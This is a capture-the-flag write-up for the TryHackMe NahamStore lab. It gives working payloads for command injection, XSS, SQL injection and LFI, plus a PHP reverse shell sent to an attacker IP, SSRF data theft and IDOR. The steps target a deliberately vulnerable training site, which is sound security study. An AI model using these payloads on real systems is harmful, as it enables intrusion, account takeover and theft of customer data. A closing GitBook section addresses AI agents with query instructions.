> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/nahamstore.md). # Nahamstore ## TryHackMe — NahamStore (CTF) ### 1. Setup Add the target and its subdomains to `/etc/hosts` to make them accessible: ``` nahamstore.thm shop.nahamstore.thm marketing.nahamstore.thm stock.nahamstore.thm www.nahamstore.thm ``` Enumerate subdomains using FFUF: ``` ffuf -w /SecLists/Discovery/DNS/subdomains-top1million-5000.txt \ -u http://nahamstore.thm \ -H "Host: FUZZ.nahamstore.thm" \ -fw 125 ``` Discovered subdomains: * `shop.nahamstore.thm` * `marketing.nahamstore.thm` * `stock.nahamstore.thm` * `www.nahamstore.thm` Order an item from the website to unlock further functionality needed in the next step. *** ### 2. Reconnaissance Navigate to your orders and click **Download PDF**. Intercept the request in Burp Suite and send it to Repeater. In the `id` parameter, inject a command to read the server's hosts file: ``` id=4`cat /etc/hosts` ``` The response leaks internal hostnames: ``` nahamstore-2020.nahamstore.thm 172.17.0.1 nahamstore-2020-dev.nahamstore.thm 172.17.0.1 internal-api.nahamstore.thm 10.131.104.72 ``` Add these to `/etc/hosts`. Next, enumerate the `nahamstore-2020-dev` subdomain: ``` ffuf -w /home/hacker/SecLists/Discovery/Web-Content/common.txt \ -u http://nahamstore-2020-dev.nahamstore.thm/FUZZ ``` This reveals `/api`. Enumerate further: ``` ffuf -w /home/hacker/SecLists/Discovery/Web-Content/common.txt \ -u http://nahamstore-2020-dev.nahamstore.thm/api/FUZZ ``` This reveals `/customers`. Requesting the endpoint with a `customer_id` parameter: ``` http://nahamstore-2020-dev.nahamstore.thm/api/customers/?customer_id=2 ``` Returns the PII of another customer (Jimmy Johns). *** ### 3. XSS | # | Type | Location / Payload | | - | --------- | ------------------------------------------------------------------------------------------------------------------------------ | | 1 | Reflected | `http://www.nahamstore.thm/search?q=';alert("xss");//` | | 2 | Reflected | `http://marketing.nahamstore.thm/?error=` | | 3 | Stored | `User-Agent` header on `POST /basket` | | 4 | Reflected | `http://www.nahamstore.thm/product?id=1&name=%3C/title%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E` | | 5 | Reflected | Return information textarea — inject `` | | 6 | Reflected | `http://www.nahamstore.thm/%3Cscript%3Ealert(1)%3C%2Fscript%3E` | | 7 | Reflected | `http://www.nahamstore.thm/product?id=%3Cscript%3Ealert(1)%3C%2Fscript%3E` | | 8 | Reflected | Intercept `GET /product?id=2` and modify to: `GET /product?id=2&added=1&add_to_basket=1&discount=gggg"+onmouseover=alert(1)//` | *** ### 4. Open Redirect ``` http://www.nahamstore.thm/login?redirect_url=http://google.com http://www.nahamstore.thm/r=http://google.com ``` Both parameters accept arbitrary external URLs without validation. *** ### 5. CSRF The password and email change endpoints do not properly validate the `csrf_protect` token. **Testing the vulnerability:** 1. Navigate to `http://nahamstore.thm/account/settings/password`. 2. Capture the change-password request in Burp and send to Repeater. 3. Remove the `csrf_protect` parameter entirely and send — a `200` response confirms the server is not validating it. **Burp Professional users:** Right-click the request → **Engagement tools → Generate CSRF PoC → Test in browser**. **Community edition users:** Use the following HTML payloads. **Email change payload (`email.html`):** ```html ``` **Password change payload (`password.html`):** ```html ``` Run with: `firefox email.html` or `firefox password.html` > **Note:** The `csrf_protect` value is Base64-encoded. *** ### 6. SQL Injection #### First SQLi — Union-Based (Numeric) The `id` parameter at `http://nahamstore.thm/product?id=1` is vulnerable to union-based SQL injection. **Enumerate the database name:** ``` http://nahamstore.thm/product?id=-1 union select 1,database(),3,database(),5 -- - ``` **Enumerate table names:** ``` http://nahamstore.thm/product?id=-1 union select 1,table_name,3,table_name,5 from information_schema.tables where table_schema='' LIMIT 0,1 -- - ``` Increment the `LIMIT` offset to iterate through tables. **Enumerate column names:** ``` http://nahamstore.thm/product?id=-1 union select 1,column_name,3,column_name,5 from information_schema.columns where table_schema='' and table_name='' LIMIT 0,1 -- - ``` **Dump data:** ``` http://nahamstore.thm/product?id=-1 union select 1,,3,,5 from LIMIT 0,1 -- - ``` > Use the `LIMIT` clause throughout since the page has limited display space. #### Second SQLi — Time-Based Blind The `order number` parameter at `http://nahamstore.thm/returns` is vulnerable to time-based blind SQL injection. Use SQLMap since blind injection requires no direct output. Save the Burp request to `sql.txt`, then: ```bash # Enumerate databases sqlmap -r sql.txt --dbs --batch # Enumerate tables sqlmap -r sql.txt -D --tables # Enumerate columns sqlmap -r sql.txt -D -T --columns # Dump data sqlmap -r sql.txt -D -T -C --dump ``` *** ### 7. Remote Code Execution (RCE) #### First RCE — Blind RCE via PDF Generator Order an item and download the PDF receipt. Intercept the request in Burp — the endpoint is: ``` POST /pdf-generator ``` The `id` parameter is vulnerable to blind command injection. Start a Netcat listener: ``` nc -lvnp 5050 ``` Inject a reverse shell payload into the `id` parameter: ``` id=4$(php+-r+'$sock%3dfsockopen("YOUR-IP",5050)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b') ``` Send the request — the shell connects back to your listener. #### Second RCE — Admin Panel Misconfiguration Run an Nmap scan to discover open ports: ``` nmap -A -sC -sV -p0-65535 ``` Port `8000` is open running nginx. Enumerate it: ``` ffuf -w /seclists/discovery/web-content/common.txt \ -u http://www.nahamstore.thm:8000/FUZZ ``` `/admin` returns a `200` response. Log in with: ``` username: admin password: admin ``` The admin panel has write permissions under **Actions**. Start a listener (`nc -lvnp 5050`) and upload this PHP web shell: ```php ``` *** ### 8. IDOR #### First IDOR — Address Enumeration During checkout, capture the `POST /basket` request in Burp. The `address_id` parameter controls which address is loaded. Change the value to `3` — the response returns another user's address details. #### Second IDOR — Order Receipt Access Intercept the order receipt download request. The `id` parameter identifies the order. Changing it to `3` returns an error: ``` Order does not belong to this user_id ``` Add the `user_id` parameter to match: ``` &user_id=3 ``` URL-encode and send — the response contains user 3's full order details. *** ### 9. Local File Inclusion (LFI) Open a product image in a new tab. Modify the `file` parameter with a traversal payload: ``` file=....%2f%2f....%2f%2f....%2f%2f....%2f%2f....%2f%2f....%2f%2f....%2f%2flfi%2fflag.txt ``` **Flag:** `{7ef60e74b711f4c3a1fdf5a131ebf863}` *** ### 10. SSRF Navigate to any product and use the **stock check** feature. Capture the request in Burp — a `server` parameter makes an internal request to `stock.nahamstore.thm`. **Step 1 — Bypass the server validation:** Append `@www.nahamstore.thm#` to the server value: ``` server=stock.nahamstore.thm@www.nahamstore.thm ``` A `200` response confirms the SSRF is working. **Step 2 — Discover the internal API:** Fuzz internal subdomains and find `internal-api.nahamstore.thm`. Requesting `/orders` on this host returns a list of order IDs belonging to various users. **Step 3 — Exfiltrate user data:** ``` server=stock.nahamstore.thm@internal-api.nahamstore.thm/orders/# ``` The response returns the full order details for the targeted user. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/nahamstore.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.